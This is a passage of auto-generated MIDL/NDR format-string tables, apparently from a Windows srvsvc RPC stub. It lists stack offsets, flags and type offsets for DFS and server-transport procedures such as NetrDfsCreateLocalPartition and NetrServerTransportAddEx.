*/\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2272 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2276 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2278 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2280 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2282 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ShareName */\n\n/* 2284 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2286 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2288 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter lpFileName */\n\n/* 2290 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2292 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2294 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter SecurityInformation */\n\n/* 2296 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2298 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2300 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter SecurityDescriptor */\n\n/* 2302 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2304 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2306 */\tNdrFcShort( 0xcb8 ),\t/* Type Offset=3256 */\n\n\t/* Return value */\n\n/* 2308 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2310 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2312 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportAddEx */\n\n/* 2314 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2316 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2320 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2322 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2324 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2326 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2328 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2330 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2332 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2334 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2336 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2340 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2342 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2346 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2350 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2352 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2354 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2356 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 2358 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2360 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2362 */\tNdrFcShort( 0xcd0 ),\t/* Type Offset=3280 */\n\n\t/* Return value */\n\n/* 2364 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2366 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum42NotUsedOnWire */\n\n/* 2370 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2376 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2378 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2380 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2384 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2386 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2388 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2390 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetrDfsGetVersion */\n\n/* 2400 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2402 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2406 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2408 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2410 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2412 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2414 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2416 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2418 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2420 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2422 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2428 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2430 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2432 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2434 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2436 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Version */\n\n/* 2438 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2440 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2444 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2446 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2448 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsCreateLocalPartition */\n\n/* 2450 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2456 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2458 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2460 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2462 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2464 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2466 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 2468 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2470 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2472 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2474 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2476 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2478 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2482 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2484 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2486 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ShareName */\n\n/* 2488 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2490 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2492 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter EntryUid */\n\n/* 2494 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2496 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2498 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter EntryPrefix */\n\n/* 2500 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2502 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2504 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter ShortName */\n\n/* 2506 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2508 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2510 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter RelationInfo */\n\n/* 2512 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2514 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2516 */\tNdrFcShort( 0xd58 ),\t/* Type Offset=3416 */\n\n\t/* Parameter Force */\n\n/* 2518 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2520 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2522 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2524 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2526 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2528 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsDeleteLocalPartition */\n\n/* 2530 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2536 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2538 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2540 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2542 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2544 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2546 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2548 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2550 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2552 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2558 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2560 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2562 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2564 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2566 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2568 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2570 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2572 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2574 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2576 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2578 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 2580 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2582 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsSetLocalVolumeState */\n\n/* 2586 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2592 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2594 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2596 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2598 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2600 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2602 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 2604 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2606 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2608 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2618 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2620 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2622 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2624 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2626 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2628 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2630 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2632 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2634 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter State */\n\n/* 2636 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2638 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2642 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2644 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2646 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum47NotUsedOnWire */\n\n/* 2648 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2650 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2654 */\tNdrFcShort( 0x2f ),\t/* 47 */\n/* 2656 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2658 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2660 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2662 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2664 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2666 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2668 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2676 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetrDfsCreateExitPoint */\n\n/* 2678 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2680 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2684 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2686 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2688 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2690 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2692 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2694 */\tNdrFcShort( 0x54 ),\t/* 84 */\n/* 2696 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2698 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2700 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 2702 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2704 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2710 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2712 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2714 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2716 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2718 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2720 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2722 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2724 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2726 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Type */\n\n/* 2728 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2730 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2732 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ShortPrefixLen */\n\n/* 2734 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 2736 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2738 */\tNdrFcShort( 0xd68 ),\t/* 3432 */\n\n\t/* Parameter ShortPrefix */\n\n/* 2740 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2742 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2744 */\tNdrFcShort( 0xd76 ),\t/* Type Offset=3446 */\n\n\t/* Return value */\n\n/* 2746 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2748 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2750 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsDeleteExitPoint */\n\n/* 2752 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2754 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2758 */\tNdrFcShort( 0x31 ),\t/* 49 */\n/* 2760 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2762 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2764 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2766 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2768 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 2770 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2772 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2774 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2778 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2780 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2784 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2786 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2788 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2790 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2792 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2794 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2796 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2798 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2800 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Type */\n\n/* 2802 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2804 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2808 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2810 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsModifyPrefix */\n\n/* 2814 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2820 */\tNdrFcShort( 0x32 ),\t/* 50 */\n/* 2822 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2824 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2826 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2828 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2830 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2832 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2834 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2836 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2838 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2842 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2844 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2846 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2848 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2850 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2852 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2854 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2856 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2858 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2860 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2862 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 2864 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2866 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2868 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsFixLocalVolume */\n\n/* 2870 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2876 */\tNdrFcShort( 0x33 ),\t/* 51 */\n/* 2878 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 2880 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2882 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2884 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2886 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 2888 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2890 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 2892 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2896 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2898 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2902 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2904 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2906 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter VolumeName */\n\n/* 2908 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2910 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2912 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter EntryType */\n\n/* 2914 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2916 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2918 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ServiceType */\n\n/* 2920 */\tNdrFcShort( 0x48 ),\t/* Flags:  